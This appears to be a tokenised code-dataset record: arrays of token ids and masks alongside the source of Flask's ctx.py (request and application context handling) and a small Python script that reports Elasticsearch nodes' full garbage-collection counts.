12, 272, 4132, 29, 2502, 12, 272, 4132, 63, 2123, 29, 2502, 63, 2123, 12, 272, 6117, 29, 362, 63, 5154, 8, 2491, 395, 272, 2559, 63, 576, 29, 362, 63, 2491, 63, 576, 8, 2491, 395, 272, 3907, 63, 6537, 29, 7538, 12, 272, 5936, 63, 4614, 29, 8575, 63, 4614, 12, 272, 19137, 1524, 267, 283, 23753, 9795, 3800, 650, 446, 32657, 297, 267, 283, 8263, 3800, 6001, 9711, 297, 267, 283, 16442, 3800, 5634, 3800, 413, 14, 25, 297, 267, 283, 23910, 23975, 3800, 23493, 297, 267, 283, 3761, 3800, 25718, 26330, 3800, 6289, 844, 297, 267, 283, 23699, 6187, 3800, 4403, 1010, 7106, 297, 267, 283, 23604, 4889, 8466, 3800, 20144, 297, 267, 283, 11411, 8466, 3800, 2018, 3800, 650, 14, 21, 297, 267, 283, 12157, 3800, 22026, 3800, 644, 11178, 15, 2856, 297, 272, 1622, 199, 9, 199, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0 ]
wtl-zju/flask
flask/ctx.py
135
14576
# -*- coding: utf-8 -*- """ flask.ctx ~~~~~~~~~ Implements the objects required to keep the context. :copyright: (c) 2015 by Armin Ronacher. :license: BSD, see LICENSE for more details. """ from __future__ import with_statement import sys from functools import update_wrapper from werkzeug.exceptions import HTTPException from .globals import _request_ctx_stack, _app_ctx_stack from .signals import appcontext_pushed, appcontext_popped from ._compat import BROKEN_PYPY_CTXMGR_EXIT, reraise # a singleton sentinel value for parameter defaults _sentinel = object() class _AppCtxGlobals(object): """A plain object.""" def get(self, name, default=None): return self.__dict__.get(name, default) def pop(self, name, default=_sentinel): if default is _sentinel: return self.__dict__.pop(name) else: return self.__dict__.pop(name, default) def setdefault(self, name, default=None): self.__dict__.setdefault(name, default) def __contains__(self, item): return item in self.__dict__ def __iter__(self): return iter(self.__dict__) def __repr__(self): top = _app_ctx_stack.top if top is not None: return '<flask.g of %r>' % top.app.name return object.__repr__(self) def after_this_request(f): """Executes a function after this request. This is useful to modify response objects. The function is passed the response object and has to return the same or a new one. Example:: @app.route('/') def index(): @after_this_request def add_header(response): response.headers['X-Foo'] = 'Parachute' return response return 'Hello World!' This is more useful if a function other than the view function wants to modify a response. For instance think of a decorator that wants to add some headers without converting the return value into a response object. .. versionadded:: 0.9 """ _request_ctx_stack.top._after_request_functions.append(f) return f def copy_current_request_context(f): """A helper function that decorates a function to retain the current request context. This is useful when working with greenlets. The moment the function is decorated a copy of the request context is created and then pushed when the function is called. Example:: import gevent from flask import copy_current_request_context @app.route('/') def index(): @copy_current_request_context def do_some_work(): # do some work here, it can access flask.request like you # would otherwise in the view function. ... gevent.spawn(do_some_work) return 'Regular response' .. versionadded:: 0.10 """ top = _request_ctx_stack.top if top is None: raise RuntimeError('This decorator can only be used at local scopes ' 'when a request context is on the stack. For instance within ' 'view functions.') reqctx = top.copy() def wrapper(*args, **kwargs): with reqctx: return f(*args, **kwargs) return update_wrapper(wrapper, f) def has_request_context(): """If you have code that wants to test if a request context is there or not this function can be used. For instance, you may want to take advantage of request information if the request object is available, but fail silently if it is unavailable. :: class User(db.Model): def __init__(self, username, remote_addr=None): self.username = username if remote_addr is None and has_request_context(): remote_addr = request.remote_addr self.remote_addr = remote_addr Alternatively you can also just test any of the context bound objects (such as :class:`request` or :class:`g` for truthness):: class User(db.Model): def __init__(self, username, remote_addr=None): self.username = username if remote_addr is None and request: remote_addr = request.remote_addr self.remote_addr = remote_addr .. versionadded:: 0.7 """ return _request_ctx_stack.top is not None def has_app_context(): """Works like :func:`has_request_context` but for the application context. You can also just do a boolean check on the :data:`current_app` object instead. .. versionadded:: 0.9 """ return _app_ctx_stack.top is not None class AppContext(object): """The application context binds an application object implicitly to the current thread or greenlet, similar to how the :class:`RequestContext` binds request information. The application context is also implicitly created if a request context is created but the application is not on top of the individual application context. """ def __init__(self, app): self.app = app self.url_adapter = app.create_url_adapter(None) self.g = app.app_ctx_globals_class() # Like request context, app contexts can be pushed multiple times # but there a basic "refcount" is enough to track them. self._refcnt = 0 def push(self): """Binds the app context to the current context.""" self._refcnt += 1 if hasattr(sys, 'exc_clear'): sys.exc_clear() _app_ctx_stack.push(self) appcontext_pushed.send(self.app) def pop(self, exc=_sentinel): """Pops the app context.""" self._refcnt -= 1 if self._refcnt <= 0: if exc is _sentinel: exc = sys.exc_info()[1] self.app.do_teardown_appcontext(exc) rv = _app_ctx_stack.pop() assert rv is self, 'Popped wrong app context. (%r instead of %r)' \ % (rv, self) appcontext_popped.send(self.app) def __enter__(self): self.push() return self def __exit__(self, exc_type, exc_value, tb): self.pop(exc_value) if BROKEN_PYPY_CTXMGR_EXIT and exc_type is not None: reraise(exc_type, exc_value, tb) class RequestContext(object): """The request context contains all request relevant information. It is created at the beginning of the request and pushed to the `_request_ctx_stack` and removed at the end of it. It will create the URL adapter and request object for the WSGI environment provided. Do not attempt to use this class directly, instead use :meth:`~flask.Flask.test_request_context` and :meth:`~flask.Flask.request_context` to create this object. When the request context is popped, it will evaluate all the functions registered on the application for teardown execution (:meth:`~flask.Flask.teardown_request`). The request context is automatically popped at the end of the request for you. In debug mode the request context is kept around if exceptions happen so that interactive debuggers have a chance to introspect the data. With 0.4 this can also be forced for requests that did not fail and outside of ``DEBUG`` mode. By setting ``'flask._preserve_context'`` to ``True`` on the WSGI environment the context will not pop itself at the end of the request. This is used by the :meth:`~flask.Flask.test_client` for example to implement the deferred cleanup functionality. You might find this helpful for unittests where you need the information from the context local around for a little longer. Make sure to properly :meth:`~werkzeug.LocalStack.pop` the stack yourself in that situation, otherwise your unittests will leak memory. """ def __init__(self, app, environ, request=None): self.app = app if request is None: request = app.request_class(environ) self.request = request self.url_adapter = app.create_url_adapter(self.request) self.flashes = None self.session = None # Request contexts can be pushed multiple times and interleaved with # other request contexts. Now only if the last level is popped we # get rid of them. Additionally if an application context is missing # one is created implicitly so for each level we add this information self._implicit_app_ctx_stack = [] # indicator if the context was preserved. Next time another context # is pushed the preserved context is popped. self.preserved = False # remembers the exception for pop if there is one in case the context # preservation kicks in. self._preserved_exc = None # Functions that should be executed after the request on the response # object. These will be called before the regular "after_request" # functions. self._after_request_functions = [] self.match_request() def _get_g(self): return _app_ctx_stack.top.g def _set_g(self, value): _app_ctx_stack.top.g = value g = property(_get_g, _set_g) del _get_g, _set_g def copy(self): """Creates a copy of this request context with the same request object. This can be used to move a request context to a different greenlet. Because the actual request object is the same this cannot be used to move a request context to a different thread unless access to the request object is locked. .. versionadded:: 0.10 """ return self.__class__(self.app, environ=self.request.environ, request=self.request ) def match_request(self): """Can be overridden by a subclass to hook into the matching of the request. """ try: url_rule, self.request.view_args = \ self.url_adapter.match(return_rule=True) self.request.url_rule = url_rule except HTTPException as e: self.request.routing_exception = e def push(self): """Binds the request context to the current context.""" # If an exception occurs in debug mode or if context preservation is # activated under exception situations exactly one context stays # on the stack. The rationale is that you want to access that # information under debug situations. However if someone forgets to # pop that context again we want to make sure that on the next push # it's invalidated, otherwise we run at risk that something leaks # memory. This is usually only a problem in test suite since this # functionality is not active in production environments. top = _request_ctx_stack.top if top is not None and top.preserved: top.pop(top._preserved_exc) # Before we push the request context we have to ensure that there # is an application context. app_ctx = _app_ctx_stack.top if app_ctx is None or app_ctx.app != self.app: app_ctx = self.app.app_context() app_ctx.push() self._implicit_app_ctx_stack.append(app_ctx) else: self._implicit_app_ctx_stack.append(None) if hasattr(sys, 'exc_clear'): sys.exc_clear() _request_ctx_stack.push(self) # Open the session at the moment that the request context is # available. This allows a custom open_session method to use the # request context (e.g. code that access database information # stored on `g` instead of the appcontext). self.session = self.app.open_session(self.request) if self.session is None: self.session = self.app.make_null_session() def pop(self, exc=_sentinel): """Pops the request context and unbinds it by doing that. This will also trigger the execution of functions registered by the :meth:`~flask.Flask.teardown_request` decorator. .. versionchanged:: 0.9 Added the `exc` argument. """ app_ctx = self._implicit_app_ctx_stack.pop() clear_request = False if not self._implicit_app_ctx_stack: self.preserved = False self._preserved_exc = None if exc is _sentinel: exc = sys.exc_info()[1] self.app.do_teardown_request(exc) # If this interpreter supports clearing the exception information # we do that now. This will only go into effect on Python 2.x, # on 3.x it disappears automatically at the end of the exception # stack. if hasattr(sys, 'exc_clear'): sys.exc_clear() request_close = getattr(self.request, 'close', None) if request_close is not None: request_close() clear_request = True rv = _request_ctx_stack.pop() assert rv is self, 'Popped wrong request context. (%r instead of %r)' \ % (rv, self) # get rid of circular dependencies at the end of the request # so that we don't require the GC to be active. if clear_request: rv.request.environ['werkzeug.request'] = None # Get rid of the app as well if necessary. if app_ctx is not None: app_ctx.pop(exc) def auto_pop(self, exc): if self.request.environ.get('flask._preserve_context') or \ (exc is not None and self.app.preserve_context_on_exception): self.preserved = True self._preserved_exc = exc else: self.pop(exc) def __enter__(self): self.push() return self def __exit__(self, exc_type, exc_value, tb): # do not pop the request stack if we are in debug mode and an # exception happened. This will allow the debugger to still # access the request object in the interactive shell. Furthermore # the context can be force kept alive for the test client. # See flask.testing for how this works. self.auto_pop(exc_value) if BROKEN_PYPY_CTXMGR_EXIT and exc_type is not None: reraise(exc_type, exc_value, tb) def __repr__(self): return '<%s \'%s\' [%s] of %s>' % ( self.__class__.__name__, self.request.url, self.request.method, self.app.name, )
bsd-3-clause
[ 3, 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 7209, 14, 3799, 272, 221, 4919, 94, 339, 24664, 314, 2251, 1415, 370, 4215, 314, 1067, 14, 339, 520, 7307, 26, 334, 67, 9, 6900, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 543, 63, 6242, 199, 199, 646, 984, 199, 504, 9143, 492, 1678, 63, 5029, 199, 199, 504, 10380, 14, 3924, 492, 28185, 199, 199, 504, 1275, 8473, 492, 485, 1069, 63, 3799, 63, 2340, 12, 485, 571, 63, 3799, 63, 2340, 199, 504, 1275, 10458, 492, 1145, 1100, 63, 5335, 379, 12, 1145, 1100, 63, 1935, 1915, 199, 504, 13653, 5819, 492, 699, 1092, 6945, 63, 4521, 4521, 63, 1028, 13901, 3975, 63, 17219, 12, 24139, 421, 199, 3, 282, 19768, 13792, 574, 367, 2725, 4243, 199, 63, 13400, 275, 909, 342, 421, 199, 533, 485, 2640, 35, 2347, 21675, 8, 785, 304, 272, 408, 33, 8971, 909, 1041, 339, 347, 664, 8, 277, 12, 536, 12, 849, 29, 403, 304, 267, 372, 291, 855, 807, 4343, 362, 8, 354, 12, 849, 9, 339, 347, 4560, 8, 277, 12, 536, 12, 849, 3699, 13400, 304, 267, 340, 849, 365, 485, 13400, 26, 288, 372, 291, 855, 807, 4343, 1935, 8, 354, 9, 267, 587, 26, 288, 372, 291, 855, 807, 4343, 1935, 8, 354, 12, 849, 9, 339, 347, 29408, 8, 277, 12, 536, 12, 849, 29, 403, 304, 267, 291, 855, 807, 4343, 5486, 8, 354, 12, 849, 9, 339, 347, 636, 6134, 721, 277, 12, 1242, 304, 267, 372, 1242, 315, 291, 855, 807, 363, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 855, 807, 3368, 339, 347, 636, 2722, 721, 277, 304, 267, 2746, 275, 485, 571, 63, 3799, 63, 2340, 14, 2119, 267, 340, 2746, 365, 440, 488, 26, 288, 372, 2650, 15720, 14, 71, 402, 450, 82, 3524, 450, 2746, 14, 571, 14, 354, 267, 372, 909, 855, 2722, 721, 277, 9, 421, 199, 318, 2410, 63, 3749, 63, 1069, 8, 70, 304, 272, 408, 4858, 3862, 282, 805, 2410, 642, 1056, 14, 221, 961, 365, 2997, 370, 2811, 272, 1177, 2251, 14, 221, 710, 805, 365, 3032, 314, 1177, 909, 436, 965, 272, 370, 372, 314, 2011, 503, 282, 892, 1373, 14, 339, 5679, 447, 398, 768, 571, 14, 4449, 7825, 267, 347, 1478, 837, 288, 768, 4399, 63, 3749, 63, 1069, 288, 347, 1050, 63, 1291, 8, 1310, 304, 355, 1177, 14, 2139, 459, 56, 13, 5686, 418, 275, 283, 1262, 1225, 938, 7, 355, 372, 1177, 288, 372, 283, 6257, 13064, 11213, 339, 961, 365, 1655, 2997, 340, 282, 805, 1163, 2419, 314, 2455, 805, 15061, 370, 272, 2811, 282, 1177, 14, 221, 2104, 1256, 13516, 402, 282, 7531, 626, 15061, 370, 1050, 272, 2005, 2323, 1928, 13806, 314, 372, 574, 1901, 282, 1177, 909, 14, 339, 2508, 7445, 447, 378, 14, 25, 272, 408, 272, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 423, 4399, 63, 1069, 63, 5777, 14, 740, 8, 70, 9, 272, 372, 289, 421, 199, 318, 1331, 63, 1818, 63, 1069, 63, 1100, 8, 70, 304, 272, 408, 33, 5922, 805, 626, 5509, 2335, 282, 805, 370, 8074, 314, 1453, 272, 1056, 1067, 14, 221, 961, 365, 2997, 1380, 6449, 543, 12431, 16537, 14, 221, 710, 12427, 272, 314, 805, 365, 16225, 282, 1331, 402, 314, 1056, 1067, 365, 2737, 436, 272, 2066, 22319, 1380, 314, 805, 365, 2797, 14, 339, 5679, 447, 398, 492, 23386, 267, 687, 7209, 492, 1331, 63, 1818, 63, 1069, 63, 1100, 398, 768, 571, 14, 4449, 7825, 267, 347, 1478, 837, 288, 768, 1574, 63, 1818, 63, 1069, 63, 1100, 288, 347, 886, 63, 3972, 63, 800, 837, 355, 327, 886, 2005, 1736, 2348, 12, 652, 883, 2879, 7209, 14, 1069, 2839, 1265, 355, 327, 3955, 4257, 315, 314, 2455, 805, 14, 355, 2263, 288, 23386, 14, 10212, 8, 1117, 63, 3972, 63, 800, 9, 288, 372, 283, 16038, 1177, 7, 339, 2508, 7445, 447, 378, 14, 709, 272, 408, 272, 2746, 275, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 272, 340, 2746, 365, 488, 26, 267, 746, 6064, 360, 2765, 7531, 883, 1454, 506, 1202, 737, 2257, 14570, 283, 288, 283, 6526, 282, 1056, 1067, 365, 641, 314, 3464, 14, 221, 2104, 1256, 4453, 283, 288, 283, 1345, 3423, 2659, 272, 2648, 3799, 275, 2746, 14, 1574, 342, 272, 347, 4975, 2031, 589, 12, 1011, 958, 304, 267, 543, 2648, 3799, 26, 288, 372, 289, 2031, 589, 12, 1011, 958, 9, 272, 372, 1678, 63, 5029, 8, 5029, 12, 289, 9, 421, 199, 318, 965, 63, 1069, 63, 1100, 837, 272, 408, 3917, 1265, 1172, 1233, 626, 15061, 370, 511, 340, 282, 1056, 1067, 365, 2337, 503, 272, 440, 642, 805, 883, 506, 1202, 14, 221, 2104, 1256, 12, 1265, 1443, 2934, 370, 5452, 30268, 272, 402, 1056, 2556, 340, 314, 1056, 909, 365, 2808, 12, 1325, 2449, 272, 18030, 340, 652, 365, 18735, 14, 339, 3800, 398, 1021, 2876, 8, 697, 14, 1685, 304, 953, 347, 636, 826, 721, 277, 12, 3434, 12, 3982, 63, 2697, 29, 403, 304, 355, 291, 14, 2473, 275, 3434, 355, 340, 3982, 63, 2697, 365, 488, 436, 965, 63, 1069, 63, 1100, 837, 490, 3982, 63, 2697, 275, 1056, 14, 3846, 63, 2697, 355, 291, 14, 3846, 63, 2697, 275, 3982, 63, 2697, 339, 26776, 1265, 883, 2597, 2951, 511, 1263, 402, 314, 1067, 3914, 2251, 272, 334, 10180, 465, 520, 533, 1705, 1069, 64, 503, 520, 533, 1705, 71, 64, 367, 16865, 4171, 304, 26, 398, 1021, 2876, 8, 697, 14, 1685, 304, 953, 347, 636, 826, 721, 277, 12, 3434, 12, 3982, 63, 2697, 29, 403, 304, 355, 291, 14, 2473, 275, 3434, 355, 340, 3982, 63, 2697, 365, 488, 436, 1056, 26, 490, 3982, 63, 2697, 275, 1056, 14, 3846, 63, 2697, 355, 291, 14, 3846, 63, 2697, 275, 3982, 63, 2697, 339, 2508, 7445, 447, 378, 14, 23, 272, 408, 272, 372, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 365, 440, 488, 421, 199 ]
[ 1882, 2803, 26, 2774, 13, 24, 1882, 199, 624, 272, 7209, 14, 3799, 272, 221, 4919, 94, 339, 24664, 314, 2251, 1415, 370, 4215, 314, 1067, 14, 339, 520, 7307, 26, 334, 67, 9, 6900, 701, 1952, 827, 32472, 19728, 14, 272, 520, 1682, 26, 6289, 12, 1937, 5113, 367, 1655, 2436, 14, 199, 624, 199, 199, 504, 636, 2443, 363, 492, 543, 63, 6242, 199, 199, 646, 984, 199, 504, 9143, 492, 1678, 63, 5029, 199, 199, 504, 10380, 14, 3924, 492, 28185, 199, 199, 504, 1275, 8473, 492, 485, 1069, 63, 3799, 63, 2340, 12, 485, 571, 63, 3799, 63, 2340, 199, 504, 1275, 10458, 492, 1145, 1100, 63, 5335, 379, 12, 1145, 1100, 63, 1935, 1915, 199, 504, 13653, 5819, 492, 699, 1092, 6945, 63, 4521, 4521, 63, 1028, 13901, 3975, 63, 17219, 12, 24139, 421, 199, 3, 282, 19768, 13792, 574, 367, 2725, 4243, 199, 63, 13400, 275, 909, 342, 421, 199, 533, 485, 2640, 35, 2347, 21675, 8, 785, 304, 272, 408, 33, 8971, 909, 1041, 339, 347, 664, 8, 277, 12, 536, 12, 849, 29, 403, 304, 267, 372, 291, 855, 807, 4343, 362, 8, 354, 12, 849, 9, 339, 347, 4560, 8, 277, 12, 536, 12, 849, 3699, 13400, 304, 267, 340, 849, 365, 485, 13400, 26, 288, 372, 291, 855, 807, 4343, 1935, 8, 354, 9, 267, 587, 26, 288, 372, 291, 855, 807, 4343, 1935, 8, 354, 12, 849, 9, 339, 347, 29408, 8, 277, 12, 536, 12, 849, 29, 403, 304, 267, 291, 855, 807, 4343, 5486, 8, 354, 12, 849, 9, 339, 347, 636, 6134, 721, 277, 12, 1242, 304, 267, 372, 1242, 315, 291, 855, 807, 363, 339, 347, 636, 1661, 721, 277, 304, 267, 372, 2740, 8, 277, 855, 807, 3368, 339, 347, 636, 2722, 721, 277, 304, 267, 2746, 275, 485, 571, 63, 3799, 63, 2340, 14, 2119, 267, 340, 2746, 365, 440, 488, 26, 288, 372, 2650, 15720, 14, 71, 402, 450, 82, 3524, 450, 2746, 14, 571, 14, 354, 267, 372, 909, 855, 2722, 721, 277, 9, 421, 199, 318, 2410, 63, 3749, 63, 1069, 8, 70, 304, 272, 408, 4858, 3862, 282, 805, 2410, 642, 1056, 14, 221, 961, 365, 2997, 370, 2811, 272, 1177, 2251, 14, 221, 710, 805, 365, 3032, 314, 1177, 909, 436, 965, 272, 370, 372, 314, 2011, 503, 282, 892, 1373, 14, 339, 5679, 447, 398, 768, 571, 14, 4449, 7825, 267, 347, 1478, 837, 288, 768, 4399, 63, 3749, 63, 1069, 288, 347, 1050, 63, 1291, 8, 1310, 304, 355, 1177, 14, 2139, 459, 56, 13, 5686, 418, 275, 283, 1262, 1225, 938, 7, 355, 372, 1177, 288, 372, 283, 6257, 13064, 11213, 339, 961, 365, 1655, 2997, 340, 282, 805, 1163, 2419, 314, 2455, 805, 15061, 370, 272, 2811, 282, 1177, 14, 221, 2104, 1256, 13516, 402, 282, 7531, 626, 15061, 370, 1050, 272, 2005, 2323, 1928, 13806, 314, 372, 574, 1901, 282, 1177, 909, 14, 339, 2508, 7445, 447, 378, 14, 25, 272, 408, 272, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 423, 4399, 63, 1069, 63, 5777, 14, 740, 8, 70, 9, 272, 372, 289, 421, 199, 318, 1331, 63, 1818, 63, 1069, 63, 1100, 8, 70, 304, 272, 408, 33, 5922, 805, 626, 5509, 2335, 282, 805, 370, 8074, 314, 1453, 272, 1056, 1067, 14, 221, 961, 365, 2997, 1380, 6449, 543, 12431, 16537, 14, 221, 710, 12427, 272, 314, 805, 365, 16225, 282, 1331, 402, 314, 1056, 1067, 365, 2737, 436, 272, 2066, 22319, 1380, 314, 805, 365, 2797, 14, 339, 5679, 447, 398, 492, 23386, 267, 687, 7209, 492, 1331, 63, 1818, 63, 1069, 63, 1100, 398, 768, 571, 14, 4449, 7825, 267, 347, 1478, 837, 288, 768, 1574, 63, 1818, 63, 1069, 63, 1100, 288, 347, 886, 63, 3972, 63, 800, 837, 355, 327, 886, 2005, 1736, 2348, 12, 652, 883, 2879, 7209, 14, 1069, 2839, 1265, 355, 327, 3955, 4257, 315, 314, 2455, 805, 14, 355, 2263, 288, 23386, 14, 10212, 8, 1117, 63, 3972, 63, 800, 9, 288, 372, 283, 16038, 1177, 7, 339, 2508, 7445, 447, 378, 14, 709, 272, 408, 272, 2746, 275, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 272, 340, 2746, 365, 488, 26, 267, 746, 6064, 360, 2765, 7531, 883, 1454, 506, 1202, 737, 2257, 14570, 283, 288, 283, 6526, 282, 1056, 1067, 365, 641, 314, 3464, 14, 221, 2104, 1256, 4453, 283, 288, 283, 1345, 3423, 2659, 272, 2648, 3799, 275, 2746, 14, 1574, 342, 272, 347, 4975, 2031, 589, 12, 1011, 958, 304, 267, 543, 2648, 3799, 26, 288, 372, 289, 2031, 589, 12, 1011, 958, 9, 272, 372, 1678, 63, 5029, 8, 5029, 12, 289, 9, 421, 199, 318, 965, 63, 1069, 63, 1100, 837, 272, 408, 3917, 1265, 1172, 1233, 626, 15061, 370, 511, 340, 282, 1056, 1067, 365, 2337, 503, 272, 440, 642, 805, 883, 506, 1202, 14, 221, 2104, 1256, 12, 1265, 1443, 2934, 370, 5452, 30268, 272, 402, 1056, 2556, 340, 314, 1056, 909, 365, 2808, 12, 1325, 2449, 272, 18030, 340, 652, 365, 18735, 14, 339, 3800, 398, 1021, 2876, 8, 697, 14, 1685, 304, 953, 347, 636, 826, 721, 277, 12, 3434, 12, 3982, 63, 2697, 29, 403, 304, 355, 291, 14, 2473, 275, 3434, 355, 340, 3982, 63, 2697, 365, 488, 436, 965, 63, 1069, 63, 1100, 837, 490, 3982, 63, 2697, 275, 1056, 14, 3846, 63, 2697, 355, 291, 14, 3846, 63, 2697, 275, 3982, 63, 2697, 339, 26776, 1265, 883, 2597, 2951, 511, 1263, 402, 314, 1067, 3914, 2251, 272, 334, 10180, 465, 520, 533, 1705, 1069, 64, 503, 520, 533, 1705, 71, 64, 367, 16865, 4171, 304, 26, 398, 1021, 2876, 8, 697, 14, 1685, 304, 953, 347, 636, 826, 721, 277, 12, 3434, 12, 3982, 63, 2697, 29, 403, 304, 355, 291, 14, 2473, 275, 3434, 355, 340, 3982, 63, 2697, 365, 488, 436, 1056, 26, 490, 3982, 63, 2697, 275, 1056, 14, 3846, 63, 2697, 355, 291, 14, 3846, 63, 2697, 275, 3982, 63, 2697, 339, 2508, 7445, 447, 378, 14, 23, 272, 408, 272, 372, 485, 1069, 63, 3799, 63, 2340, 14, 2119, 365, 440, 488, 421, 199, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1,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, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
TOTVS/mdmpublic
python/elasticsearch_tool/check_es_gc_count.py
1
2973
#!/usr/bin/env python3 ##------------------------------------------------------------------- ## File: check_es_gc_count.py ## Author : Denny ## Description : List full gc count for all es nodes ## python check_es_gc_count.py --es_host 192.168.0.2 --max_full_gc 300 ## -- ## Created : <2018-03-20> ## Updated: Time-stamp: <2018-04-02 13:30:43> ##------------------------------------------------------------------- import sys import argparse, socket import requests, json # curl "http://$es_ip:9200/_nodes/stats" \ # | jq '[ .nodes | to_entries | sort_by(.value.jvm.gc.collectors.old.collection_count) | .[] | { node: .value.name, full_gc_count: .value.jvm.gc.collectors.old.collection_count } ]' def get_es_gc_count(es_host, es_port): url = "http://%s:%s/_nodes/stats" % (es_host, es_port) r = requests.get(url) if r.status_code != 200: raise Exception("Fail to run REST API: %s. Content: %s" % (url, r.content)) content_json = json.loads(r.content) nodes_dict = content_json["nodes"] res = [] for key in nodes_dict: res.append([nodes_dict[key]["name"], nodes_dict[key]["host"], nodes_dict[key]["jvm"]["gc"]["collectors"]["old"]["collection_count"]]) return sorted(res, key=lambda item: item[2], reverse=True) def check_es_gc_count(es_host, es_port, max_full_gc): l = get_es_gc_count(es_host, es_port) failed_nodes = [] print("ES nodes full gc, sorted in a reverse order") for [node_name, node_ip, gc_count] in l: print("%s\t%s\t%s" % (node_name, node_ip, gc_count)) if int(gc_count) >= max_full_gc: failed_nodes.append((node_name, node_ip)) if len(failed_nodes) != 0: print("Error: below nodes have full gc more than %d:" % (max_full_gc)) for (node_name, node_ip) in failed_nodes: print("%s\t%s" % (node_name, node_ip)) return False return True if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('--es_host', required=False, \ help="server ip or hostname for elasticsearch instance. Default value is ip of eth0", type=str) parser.add_argument('--es_port', default='9200', required=False, \ help="server port for elasticsearch instance", type=str) parser.add_argument('--max_full_gc', default='300', required=False, type=int, \ help="If some nodes have full gc more than this, fail the test") l = parser.parse_args() es_host = l.es_host # get ip of eth0, if es_host is not given if es_host is None: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("8.8.8.8", 80)) es_host = s.getsockname()[0] ret = True try: ret = check_es_gc_count(es_host, l.es_port, l.max_full_gc) except Exception as e: print("Unexpected error:%s, %s" % (sys.exc_info()[0], e)) sys.exit(1) if ret is False: sys.exit(1) ## File: check_es_gc_count.py ends
bsd-2-clause
